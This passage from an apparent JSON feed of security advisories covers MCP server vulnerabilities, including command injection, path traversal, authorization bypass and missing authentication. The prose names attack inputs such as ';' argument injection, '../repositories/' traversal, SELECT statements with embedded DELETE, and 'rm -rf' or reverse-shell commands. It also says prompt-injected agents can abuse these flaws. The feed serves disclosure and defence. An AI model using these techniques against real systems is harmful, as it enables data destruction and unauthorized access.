      "title": "[UNKNOWN] CVE-2026-108953: mac-shell-mcp before 2.0.0 contains an OS command injection vulnerability that allows MCP clients to bypass the command ",
      "summary": "mac-shell-mcp before 2.0.0 contains an OS command injection vulnerability that allows MCP clients to bypass the command ",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-108953</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>mac-shell-mcp before 2.0.0 contains an OS command injection vulnerability that allows MCP clients to bypass the command whitelist by injecting shell metacharacters into execute_command arguments. Attackers or malicious prompts can call a safe command such as pwd with arguments like ';' to run forbidden commands as the server user without approval.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/cfdude/mac-shell-mcp\">https://github.com/cfdude/mac-shell-mcp</a></li>\n<li><a href=\"https://github.com/cfdude/mac-shell-mcp/blob/1c1708201abb7a18c83075e1bf933e7a92cbeb9f/src/services/command-service.ts#L257-L340\">https://github.com/cfdude/mac-shell-mcp/blob/1c1708201abb7a18c83075e1bf933e7a92cbeb9f/src/services/command-service.ts#L257-L340</a></li>\n<li><a href=\"https://github.com/cfdude/mac-shell-mcp/commit/932ce733cde07bb30b1f186303e6692dbb5d087a\">https://github.com/cfdude/mac-shell-mcp/commit/932ce733cde07bb30b1f186303e6692dbb5d087a</a></li>\n<li><a href=\"https://github.com/cfdude/mac-shell-mcp/issues/45\">https://github.com/cfdude/mac-shell-mcp/issues/45</a></li>\n</ul></p>",
      "date_published": "2026-10-12T13:17:28.307Z",
      "date_modified": "2026-10-16T19:18:44.867Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-108856",
      "url": "https://github.com/UnicomAI/wanwu",
      "title": "[UNKNOWN] CVE-2026-108856: UnicomAI Wanwu through 0.6.5 contains an authorization bypass vulnerability that allows authenticated users to mint AppK",
      "summary": "UnicomAI Wanwu through 0.6.5 contains an authorization bypass vulnerability that allows authenticated users to mint AppK",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-108856</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>UnicomAI Wanwu through 0.6.5 contains an authorization bypass vulnerability that allows authenticated users to mint AppKeys bound to other users' MCP servers via POST /v1/appspace/app/key. Attackers supplying a victim's MCP server UUID with appType mcpserver can open MCP sessions and invoke the server's tools using the victim's upstream authentication.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/UnicomAI/wanwu\">https://github.com/UnicomAI/wanwu</a></li>\n<li><a href=\"https://github.com/UnicomAI/wanwu/blob/v0.6.5/internal/app-service/client/orm/app_key.go#L37-L49\">https://github.com/UnicomAI/wanwu/blob/v0.6.5/internal/app-service/client/orm/app_key.go#L37-L49</a></li>\n<li><a href=\"https://github.com/UnicomAI/wanwu/blob/v0.6.5/internal/bff-service/server/http/middleware/auth_openapi.go#L46-L70\">https://github.com/UnicomAI/wanwu/blob/v0.6.5/internal/bff-service/server/http/middleware/auth_openapi.go#L46-L70</a></li>\n<li><a href=\"https://hackmd.io/@1ExmmukzRMWN7B4gQ4W-4Q/unicomai-wanwu-mcp-key-arbitrary-resource\">https://hackmd.io/@1ExmmukzRMWN7B4gQ4W-4Q/unicomai-wanwu-mcp-key-arbitrary-resource</a></li>\n</ul></p>",
      "date_published": "2026-10-11T14:17:05.370Z",
      "date_modified": "2026-10-16T19:18:44.867Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-108851",
      "url": "https://github.com/thorsten/phpMyFAQ",
      "title": "[UNKNOWN] CVE-2026-108851: phpMyFAQ through 4.1.10 contains a missing authorization vulnerability in the MCP server faq_search tool that allows MCP",
      "summary": "phpMyFAQ through 4.1.10 contains a missing authorization vulnerability in the MCP server faq_search tool that allows MCP",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-108851</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>phpMyFAQ through 4.1.10 contains a missing authorization vulnerability in the MCP server faq_search tool that allows MCP clients to read restricted FAQs because Search::searchDatabase() never applies user or group permission checks. Attackers connected to the phpmyfaq:mcp:server can issue search queries to retrieve the full question and answer text of active FAQs restricted to specific users or groups.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/thorsten/phpMyFAQ\">https://github.com/thorsten/phpMyFAQ</a></li>\n<li><a href=\"https://github.com/thorsten/phpMyFAQ/blob/4.1.10/phpmyfaq/src/phpMyFAQ/Search.php#L137-L194\">https://github.com/thorsten/phpMyFAQ/blob/4.1.10/phpmyfaq/src/phpMyFAQ/Search.php#L137-L194</a></li>\n<li><a href=\"https://github.com/thorsten/phpMyFAQ/blob/4.1.10/phpmyfaq/src/phpMyFAQ/Service/McpServer/FaqSearchToolExecutor.php#L56-L102\">https://github.com/thorsten/phpMyFAQ/blob/4.1.10/phpmyfaq/src/phpMyFAQ/Service/McpServer/FaqSearchToolExecutor.php#L56-L102</a></li>\n<li><a href=\"https://hackmd.io/@1ExmmukzRMWN7B4gQ4W-4Q/phpmyfaq-mcp-search-visibility\">https://hackmd.io/@1ExmmukzRMWN7B4gQ4W-4Q/phpmyfaq-mcp-search-visibility</a></li>\n</ul></p>",
      "date_published": "2026-10-11T14:17:04.667Z",
      "date_modified": "2026-10-13T14:17:21.390Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-108671",
      "url": "https://github.com/AnkesKasty/cve-request-poc/blob/a7b6d1423555812d8efa26c91c5d0683164b31e5/JeecgBoot/poc_airag_mcp_model_and_writer.py",
      "title": "[UNKNOWN] CVE-2026-108671: JeecgBoot through 3.9.5 contains a missing authorization vulnerability that allows any authenticated user to read MCP se",
      "summary": "JeecgBoot through 3.9.5 contains a missing authorization vulnerability that allows any authenticated user to read MCP se",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-108671</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>JeecgBoot through 3.9.5 contains a missing authorization vulnerability that allows any authenticated user to read MCP server configurations because the queryById permission check is commented out. Attackers can obtain record ids from the unguarded /airag/app/queryById endpoint and retrieve MCP endpoint URLs, headers, and outbound authentication tokens.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/AnkesKasty/cve-request-poc/blob/a7b6d1423555812d8efa26c91c5d0683164b31e5/JeecgBoot/poc_airag_mcp_model_and_writer.py\">https://github.com/AnkesKasty/cve-request-poc/blob/a7b6d1423555812d8efa26c91c5d0683164b31e5/JeecgBoot/poc_airag_mcp_model_and_writer.py</a></li>\n<li><a href=\"https://github.com/jeecgboot/JeecgBoot/blob/e3b9dc0aefe1943d9772b026f64ed671a7c82802/jeecg-boot/jeecg-boot-module/jeecg-boot-module-airag/src/main/java/org/jeecg/modules/airag/llm/controller/AiragMcpController.java#L164-L173\">https://github.com/jeecgboot/JeecgBoot/blob/e3b9dc0aefe1943d9772b026f64ed671a7c82802/jeecg-boot/jeecg-boot-module/jeecg-boot-module-airag/src/main/java/org/jeecg/modules/airag/llm/controller/AiragMcpController.java#L164-L173</a></li>\n<li><a href=\"https://www.vulncheck.com/advisories/jeecgboot-through-3.9.5-missing-authorization-via-airag-airagmcp-querybyid\">https://www.vulncheck.com/advisories/jeecgboot-through-3.9.5-missing-authorization-via-airag-airagmcp-querybyid</a></li>\n</ul></p>",
      "date_published": "2026-10-10T22:16:43.920Z",
      "date_modified": "2026-10-13T20:43:34.023Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-108604",
      "url": "https://github.com/TabularisDB/tabularis/blob/804c4c3bb6fd8eaa2e36cbe49f6c0d58f373b5e9/src-tauri/src/ai_activity.rs#L357-L416",
      "title": "[UNKNOWN] CVE-2026-108604: Tabularis through 0.27.0 contains an incorrect authorization vulnerability in the MCP run_query safety gate that allows ",
      "summary": "Tabularis through 0.27.0 contains an incorrect authorization vulnerability in the MCP run_query safety gate that allows ",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-108604</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> tabularis</p>\n<p><strong>Details:</strong><br>Tabularis through 0.27.0 contains an incorrect authorization vulnerability in the MCP run_query safety gate that allows prompt-injected agents or untrusted MCP clients to bypass read-only mode by submitting side-effecting SELECT statements. Attackers can run statements like SELECT setval, nextval, or PostgreSQL query_to_xml with embedded DELETE to modify data without approval prompts.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://hackmd.io/@haind/S1BofaIsMx\">https://hackmd.io/@haind/S1BofaIsMx</a></li>\n<li><a href=\"https://github.com/TabularisDB/tabularis/blob/804c4c3bb6fd8eaa2e36cbe49f6c0d58f373b5e9/src-tauri/src/ai_activity.rs#L357-L416\">https://github.com/TabularisDB/tabularis/blob/804c4c3bb6fd8eaa2e36cbe49f6c0d58f373b5e9/src-tauri/src/ai_activity.rs#L357-L416</a></li>\n<li><a href=\"https://github.com/TabularisDB/tabularis/blob/804c4c3bb6fd8eaa2e36cbe49f6c0d58f373b5e9/src-tauri/src/mcp/mod.rs#L1136-L1171\">https://github.com/TabularisDB/tabularis/blob/804c4c3bb6fd8eaa2e36cbe49f6c0d58f373b5e9/src-tauri/src/mcp/mod.rs#L1136-L1171</a></li>\n<li><a href=\"https://github.com/TabularisDB/tabularis\">https://github.com/TabularisDB/tabularis</a></li>\n</ul></p>",
      "date_published": "2026-10-10T19:54:37.564Z",
      "date_modified": "2026-10-13T11:49:10.959Z",
      "tags": [
        "UNKNOWN",
        "tabularis"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-108586",
      "url": "https://github.com/1mcp-app/agent",
      "title": "[UNKNOWN] CVE-2026-108586: 1MCP Agent (@1mcp/agent) 0.20.0 through 0.39.0 contains an incorrect authorization vulnerability that allows authenticat",
      "summary": "1MCP Agent (@1mcp/agent) 0.20.0 through 0.39.0 contains an incorrect authorization vulnerability that allows authenticat",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-108586</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>1MCP Agent (@1mcp/agent) 0.20.0 through 0.39.0 contains an incorrect authorization vulnerability that allows authenticated clients to bypass OAuth tag-scope enforcement using negated advanced tag-filter expressions. Attackers holding a single-tag token can send a filter like not <granted-tag> to list and invoke tools on backend MCP servers outside their granted scopes.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/1mcp-app/agent\">https://github.com/1mcp-app/agent</a></li>\n<li><a href=\"https://github.com/1mcp-app/agent/blob/v0.39.0/src/sdk/legacy/transport/http/middlewares/scopeAuthMiddleware.ts#L163-L183\">https://github.com/1mcp-app/agent/blob/v0.39.0/src/sdk/legacy/transport/http/middlewares/scopeAuthMiddleware.ts#L163-L183</a></li>\n<li><a href=\"https://github.com/1mcp-app/agent/blob/v0.39.0/src/transport/http/routes/inspectHelpers.ts#L79-L102\">https://github.com/1mcp-app/agent/blob/v0.39.0/src/transport/http/routes/inspectHelpers.ts#L79-L102</a></li>\n<li><a href=\"https://hackmd.io/@haind/1mcp-negated-tag-filter-oauth-scope-bypass\">https://hackmd.io/@haind/1mcp-negated-tag-filter-oauth-scope-bypass</a></li>\n</ul></p>",
      "date_published": "2026-10-10T17:17:00.593Z",
      "date_modified": "2026-10-16T19:21:14.417Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-108585",
      "url": "https://github.com/argoproj-labs/mcp-for-argocd",
      "title": "[UNKNOWN] CVE-2026-108585: argocd-mcp (Argo CD MCP Server) through 0.9.0 contains a path traversal vulnerability in the delete_application tool tha",
      "summary": "argocd-mcp (Argo CD MCP Server) through 0.9.0 contains a path traversal vulnerability in the delete_application tool tha",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-108585</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>argocd-mcp (Argo CD MCP Server) through 0.9.0 contains a path traversal vulnerability in the delete_application tool that allows MCP clients to reach unintended API endpoints via unvalidated applicationName values. Attackers or prompt-injected models can supply dot-segment values like ../repositories/ to send authenticated DELETE requests deleting repositories, clusters, or projects within the token's RBAC permissions.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/argoproj-labs/mcp-for-argocd\">https://github.com/argoproj-labs/mcp-for-argocd</a></li>\n<li><a href=\"https://github.com/argoproj-labs/mcp-for-argocd/blob/28d15ca69b0c31387cc6ec73d201fd13c5d22b6a/src/argocd/client.ts#L115-L139\">https://github.com/argoproj-labs/mcp-for-argocd/blob/28d15ca69b0c31387cc6ec73d201fd13c5d22b6a/src/argocd/client.ts#L115-L139</a></li>\n<li><a href=\"https://github.com/argoproj-labs/mcp-for-argocd/blob/28d15ca69b0c31387cc6ec73d201fd13c5d22b6a/src/argocd/http.ts#L86-L91\">https://github.com/argoproj-labs/mcp-for-argocd/blob/28d15ca69b0c31387cc6ec73d201fd13c5d22b6a/src/argocd/http.ts#L86-L91</a></li>\n<li><a href=\"https://hackmd.io/@haind/argocd-mcp-delete-application-route-smuggling\">https://hackmd.io/@haind/argocd-mcp-delete-application-route-smuggling</a></li>\n</ul></p>",
      "date_published": "2026-10-10T17:17:00.437Z",
      "date_modified": "2026-10-14T16:17:32.853Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-108582",
      "url": "https://github.com/genspark-ai/genoffice/blob/v0.11.505/packages/cli/src/mcp/files.ts#L70-L90",
      "title": "[UNKNOWN] CVE-2026-108582: GenOffice through 0.11.505 contains an incorrect permissions vulnerability in its HTTP MCP server file store that allows",
      "summary": "GenOffice through 0.11.505 contains an incorrect permissions vulnerability in its HTTP MCP server file store that allows",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-108582</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>GenOffice through 0.11.505 contains an incorrect permissions vulnerability in its HTTP MCP server file store that allows local unprivileged users to read uploaded and generated documents. Attackers can list the world-readable genoffice-mcp-http directory under the system temporary directory to read client uploads and converted outputs, bypassing the HTTP bearer token.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/genspark-ai/genoffice/blob/v0.11.505/packages/cli/src/mcp/files.ts#L70-L90\">https://github.com/genspark-ai/genoffice/blob/v0.11.505/packages/cli/src/mcp/files.ts#L70-L90</a></li>\n<li><a href=\"https://github.com/genspark-ai/genoffice/releases/tag/v0.11.505\">https://github.com/genspark-ai/genoffice/releases/tag/v0.11.505</a></li>\n<li><a href=\"https://hackmd.io/@haind/genoffice-http-mcp-temp-file-disclosure\">https://hackmd.io/@haind/genoffice-http-mcp-temp-file-disclosure</a></li>\n<li><a href=\"https://www.vulncheck.com/advisories/genoffice-through-0.11.505-insecure-permissions-in-http-mcp-server-file-store\">https://www.vulncheck.com/advisories/genoffice-through-0.11.505-insecure-permissions-in-http-mcp-server-file-store</a></li>\n</ul></p>",
      "date_published": "2026-10-10T16:16:31.520Z",
      "date_modified": "2026-10-16T19:18:44.867Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-107824",
      "url": "https://github.com/duty1g/x64dbg-mcp-server/commit/1aad0f88b9c27233d11dbccf08ca415eb5f49203",
      "title": "[UNKNOWN] CVE-2026-107824: x64dbg-MCP Server is a native Model Context Protocol (MCP) plugin for x64dbg that exposes the debugger's full functional",
      "summary": "x64dbg-MCP Server is a native Model Context Protocol (MCP) plugin for x64dbg that exposes the debugger's full functional",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-107824</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>x64dbg-MCP Server is a native Model Context Protocol (MCP) plugin for x64dbg that exposes the debugger's full functionality over HTTP. Prior to 1.1, x64dbg-MCP Server exposes all MCP debugger tools over HTTP and SSE without authentication while listening on 0.0.0.0 by default. Any unauthenticated network client that can reach the default port, 9094 for x64 or 9095 for x32, can execute arbitrary x64dbg commands, attach to processes by PID, read and write debuggee memory, and write files to arbitrary paths. This issue is fixed in version 1.1.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/duty1g/x64dbg-mcp-server/commit/1aad0f88b9c27233d11dbccf08ca415eb5f49203\">https://github.com/duty1g/x64dbg-mcp-server/commit/1aad0f88b9c27233d11dbccf08ca415eb5f49203</a></li>\n<li><a href=\"https://github.com/duty1g/x64dbg-mcp-server/commit/e1daba0038959f88d25ff3376b2a7f922ffeb448\">https://github.com/duty1g/x64dbg-mcp-server/commit/e1daba0038959f88d25ff3376b2a7f922ffeb448</a></li>\n<li><a href=\"https://github.com/duty1g/x64dbg-mcp-server/releases/tag/1.0\">https://github.com/duty1g/x64dbg-mcp-server/releases/tag/1.0</a></li>\n<li><a href=\"https://github.com/duty1g/x64dbg-mcp-server/releases/tag/v1.1\">https://github.com/duty1g/x64dbg-mcp-server/releases/tag/v1.1</a></li>\n</ul></p>",
      "date_published": "2026-10-09T18:17:04.350Z",
      "date_modified": "2026-10-16T16:00:33.533Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-104634",
      "url": "https://github.com/ScriptKittyOS/beam_mcp/security/advisories/GHSA-wv7p-j6qh-3hj4",
      "title": "[UNKNOWN] CVE-2026-104634: Incorrect Type Conversion or Cast vulnerability in BeamMCP.Server in ScriptKittyOS beam_mcp allows an MCP client's JSON ",
      "summary": "Incorrect Type Conversion or Cast vulnerability in BeamMCP.Server in ScriptKittyOS beam_mcp allows an MCP client's JSON ",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-104634</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> beam_mcp, scriptkittyos/beam_mcp, beam_mcp, scriptkittyos/beam_mcp</p>\n<p><strong>Details:</strong><br>Incorrect Type Conversion or Cast vulnerability in BeamMCP.Server in ScriptKittyOS beam_mcp allows an MCP client's JSON true, false and null tool arguments to reach the host's dispatch function as the strings \"true\", \"false\" and \"nil\". After BeamMCP.Schema.validate/2 accepted a value as a boolean, normalize_arguments/2 passed every argument through to_json_value/1, whose atom clause converts true, false and nil to strings. A string is truthy in Elixir, so a host that tests a boolean argument, for example if args.dry_run, takes the opposite branch for false, and a guard such as confirm: false reads as set.\n\nThe client controls the argument and could send true directly, so the practical impact is limited to hosts whose behaviour on false differs from their behaviour on true, and to any policy layer in front of the server that permits false but refuses true. The same normalisation applies to prompts/get arguments, which exist from 0.5.0.\n\nThis issue affects beam_mcp: from 0.1.0 before 0.10.1.\n\n<p>Incorrect Type Conversion or Cast vulnerability in <code>BeamMCP.Server</code> in ScriptKittyOS beam_mcp allows an MCP client's JSON <code>true</code>, <code>false</code> and <code>null</code> tool arguments to reach the host's dispatch function as the strings \"true\", \"false\" and \"nil\". After <code>BeamMCP.Schema.validate/2</code> accepted a value as a boolean, <code>normalize_arguments/2</code> passed every argument through <code>to_json_value/1</code>, whose atom clause converts <code>true</code>, <code>false</code> and <code>nil</code> to strings. A string is truthy in Elixir, so a host that tests a boolean argument, for example <code>if args.dry_run</code>, takes the opposite branch for <code>false</code>, and a guard such as <code>confirm: false</code> reads as set.</p>\n<p>The client controls the argument and could send <code>true</code> directly, so the practical impact is limited to hosts whose behaviour on <code>false</code> differs from their behaviour on <code>true</code>, and to any policy layer in front of the server that permits <code>false</code> but refuses <code>true</code>. The same normalisation applies to <code>prompts/get</code> arguments, which exist from 0.5.0.</p>\n<p>This issue affects beam_mcp: from 0.1.0 before 0.10.1.</p>\n\nIncorrect Type Conversion or Cast vulnerability in `BeamMCP.Server` in ScriptKittyOS beam_mcp allows an MCP client's JSON `true`, `false` and `null` tool arguments to reach the host's dispatch function as the strings \"true\", \"false\" and \"nil\". After `BeamMCP.Schema.validate/2` accepted a value as a boolean, `normalize_arguments/2` passed every argument through `to_json_value/1`, whose atom clause converts `true`, `false` and `nil` to strings. A string is truthy in Elixir, so a host that tests a boolean argument, for example `if args.dry_run`, takes the opposite branch for `false`, and a guard such as `confirm: false` reads as set.\n\nThe client controls the argument and could send `true` directly, so the practical impact is limited to hosts whose behaviour on `false` differs from their behaviour on `true`, and to any policy layer in front of the server that permits `false` but refuses `true`. The same normalisation applies to `prompts/get` arguments, which exist from 0.5.0.\n\nThis issue affects beam_mcp: from 0.1.0 before 0.10.1.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/ScriptKittyOS/beam_mcp/security/advisories/GHSA-wv7p-j6qh-3hj4\">https://github.com/ScriptKittyOS/beam_mcp/security/advisories/GHSA-wv7p-j6qh-3hj4</a></li>\n<li><a href=\"https://cna.erlef.org/cves/CVE-2026-104634.html\">https://cna.erlef.org/cves/CVE-2026-104634.html</a></li>\n<li><a href=\"https://osv.dev/vulnerability/EEF-CVE-2026-104634\">https://osv.dev/vulnerability/EEF-CVE-2026-104634</a></li>\n<li><a href=\"https://github.com/ScriptKittyOS/beam_mcp/commit/083838eb8e17fe5f6fcaf761bdbe203110288b0b\">https://github.com/ScriptKittyOS/beam_mcp/commit/083838eb8e17fe5f6fcaf761bdbe203110288b0b</a></li>\n</ul></p>",
      "date_published": "2026-10-08T13:41:05.745Z",
      "date_modified": "2026-10-08T21:01:07.830Z",
      "tags": [
        "UNKNOWN",
        "beam_mcp",
        "scriptkittyos/beam_mcp",
        "beam_mcp",
        "scriptkittyos/beam_mcp"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-88257",
      "url": "https://github.com/ScriptKittyOS/beam_mcp/security/advisories/GHSA-mrg2-4747-fmpw",
      "title": "[UNKNOWN] CVE-2026-88257: Improper Input Validation vulnerability in BeamMCP.Schema in ScriptKittyOS beam_mcp allows an MCP client to reach a tool",
      "summary": "Improper Input Validation vulnerability in BeamMCP.Schema in ScriptKittyOS beam_mcp allows an MCP client to reach a tool",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-88257</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> beam_mcp, scriptkittyos/beam_mcp, beam_mcp, scriptkittyos/beam_mcp</p>\n<p><strong>Details:</strong><br>Improper Input Validation vulnerability in BeamMCP.Schema in ScriptKittyOS beam_mcp allows an MCP client to reach a tool's dispatch function with arguments that violate the input schema the server advertised. BeamMCP.Schema.validate/2 checked type, required, additionalProperties, enum and numeric bounds on the top-level arguments object only. Constraints inside nested objects and on array items (items, minItems, maxItems, minLength, maxLength, pattern, nested required, enum and additionalProperties: false) were advertised by tools/list and never checked at tools/call or prompts/get, and keywords outside the enforced subset (oneOf, anyOf, $ref) were advertised and ignored.\n\nA host whose dispatch code relies on the schema it declared receives values the schema forbids, such as an out-of-range number or an undeclared key inside a nested object. What the host does with such a value decides the impact.\n\nThis issue affects beam_mcp: from 0.1.0 before 0.10.1.\n\n<p>Improper Input Validation vulnerability in <code>BeamMCP.Schema</code> in ScriptKittyOS beam_mcp allows an MCP client to reach a tool's dispatch function with arguments that violate the input schema the server advertised. <code>BeamMCP.Schema.validate/2</code> checked <code>type</code>, <code>required</code>, <code>additionalProperties</code>, <code>enum</code> and numeric bounds on the top-level arguments object only. Constraints inside nested objects and on array items (<code>items</code>, <code>minItems</code>, <code>maxItems</code>, <code>minLength</code>, <code>maxLength</code>, <code>pattern</code>, nested <code>required</code>, <code>enum</code> and <code>additionalProperties: false</code>) were advertised by <code>tools/list</code> and never checked at <code>tools/call</code> or <code>prompts/get</code>, and keywords outside the enforced subset (<code>oneOf</code>, <code>anyOf</code>, <code>$ref</code>) were advertised and ignored.</p>\n<p>A host whose dispatch code relies on the schema it declared receives values the schema forbids, such as an out-of-range number or an undeclared key inside a nested object. What the host does with such a value decides the impact.</p>\n<p>This issue affects beam_mcp: from 0.1.0 before 0.10.1.</p>\n\nImproper Input Validation vulnerability in `BeamMCP.Schema` in ScriptKittyOS beam_mcp allows an MCP client to reach a tool's dispatch function with arguments that violate the input schema the server advertised. `BeamMCP.Schema.validate/2` checked `type`, `required`, `additionalProperties`, `enum` and numeric bounds on the top-level arguments object only. Constraints inside nested objects and on array items (`items`, `minItems`, `maxItems`, `minLength`, `maxLength`, `pattern`, nested `required`, `enum` and `additionalProperties: false`) were advertised by `tools/list` and never checked at `tools/call` or `prompts/get`, and keywords outside the enforced subset (`oneOf`, `anyOf`, `$ref`) were advertised and ignored.\n\nA host whose dispatch code relies on the schema it declared receives values the schema forbids, such as an out-of-range number or an undeclared key inside a nested object. What the host does with such a value decides the impact.\n\nThis issue affects beam_mcp: from 0.1.0 before 0.10.1.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/ScriptKittyOS/beam_mcp/security/advisories/GHSA-mrg2-4747-fmpw\">https://github.com/ScriptKittyOS/beam_mcp/security/advisories/GHSA-mrg2-4747-fmpw</a></li>\n<li><a href=\"https://cna.erlef.org/cves/CVE-2026-88257.html\">https://cna.erlef.org/cves/CVE-2026-88257.html</a></li>\n<li><a href=\"https://osv.dev/vulnerability/EEF-CVE-2026-88257\">https://osv.dev/vulnerability/EEF-CVE-2026-88257</a></li>\n<li><a href=\"https://github.com/ScriptKittyOS/beam_mcp/commit/083838eb8e17fe5f6fcaf761bdbe203110288b0b\">https://github.com/ScriptKittyOS/beam_mcp/commit/083838eb8e17fe5f6fcaf761bdbe203110288b0b</a></li>\n</ul></p>",
      "date_published": "2026-10-08T13:40:55.828Z",
      "date_modified": "2026-10-08T21:01:07.830Z",
      "tags": [
        "UNKNOWN",
        "beam_mcp",
        "scriptkittyos/beam_mcp",
        "beam_mcp",
        "scriptkittyos/beam_mcp"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-76286",
      "url": "https://github.com/JMartynov/mcp-vulnerabilities/blob/main/data/vulnerabilities/CVE-2026-76286.json",
      "title": "[UNKNOWN] CVE-2026-76286: In Splunk MCP Server versions below 1.2.1, Splunk MCP Server could send the Splunk platform authentication token of a us",
      "summary": "In Splunk MCP Server versions below 1.2.1, Splunk MCP Server could send the Splunk platform authentication token of a us",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-76286</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>In Splunk MCP Server versions below 1.2.1, Splunk MCP Server could send the Splunk platform authentication token of a user who runs a custom Application Programming Interface (API) tool to the URL configured for that tool. If another user controls that URL, they could capture the token and use it to access data and perform actions as the user who ran the tool. Successful exploitation requires a user who holds a role that contains the mcp_tool_execute capability to run a custom API tool configured by another user. For more information see Configure the Splunk MCP Server (https://help.splunk.com/en/splunk-enterprise/mcp-server-for-splunk-platform/1.2/configure-the-splunk-mcp-server) and Managing custom tools in Splunk MCP Server (https://help.splunk.com/en/splunk-enterprise/mcp-server-for-splunk-platform/1.2/managing-custom-tools-in-splunk-mcp-server) in the Splunk documentation.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://advisory.splunk.com/advisories/SVD-2026-1004\">https://advisory.splunk.com/advisories/SVD-2026-1004</a></li>\n</ul></p>",
      "date_published": "2026-10-07T21:17:20.387Z",
      "date_modified": "2026-10-08T20:08:45.857Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:GHSA-w794-rj3p-xv45",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-w794-rj3p-xv45",
      "title": "[UNKNOWN] GHSA-w794-rj3p-xv45: Langflow: OS command injection (RCE) via arbitrary command in MCP stdio server configuration",
      "summary": "Langflow: OS command injection (RCE) via arbitrary command in MCP stdio server configuration",
      "content_html": "<p><strong>Vulnerability ID:</strong> GHSA-w794-rj3p-xv45</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> langflow, langflow-base, lfx</p>\n<p><strong>Details:</strong><br>### Summary\n\nBefore **Langflow 1.10.3**, the MCP stdio transport launched whatever `command` / `args` a user put in an MCP server configuration, with no allowlist and (before 1.10.3) wrapped in `bash -c \"exec {command} ...\"`. Any user able to reach the MCP server settings (\"Settings → MCP Servers → Add MCP Server\", `POST/PATCH /api/v2/mcp/servers/{server_name}`) or to build a flow with the MCP Tools component could add a \"server\" whose command is an arbitrary OS command (`touch`, `rm -rf`, a reverse shell, ...). The command runs on the Langflow host as the Langflow process user as soon as Langflow tries to connect to the server (listing servers, loading tools, running the flow) — even when the UI then reports that the stdio server failed to start.\n\nWith the default `LANGFLOW_AUTO_LOGIN=true`, `GET /api/v1/auto_login` hands out a token without credentials, so on an exposed instance running the default configuration this is reachable without an account. `AUTO_LOGIN` is documented as a development-only setting; with it disabled, any authenticated (non-admin) user can exploit it.\n\nThe issue was fixed in two steps and is **fully fixed in Langflow 1.10.3** (and 1.11.0+):\n\n- **1.9.0** — #12290 added a command allowlist and argument/env validation to the REST model (`MCPServerConfig`), blocking the \"Add MCP 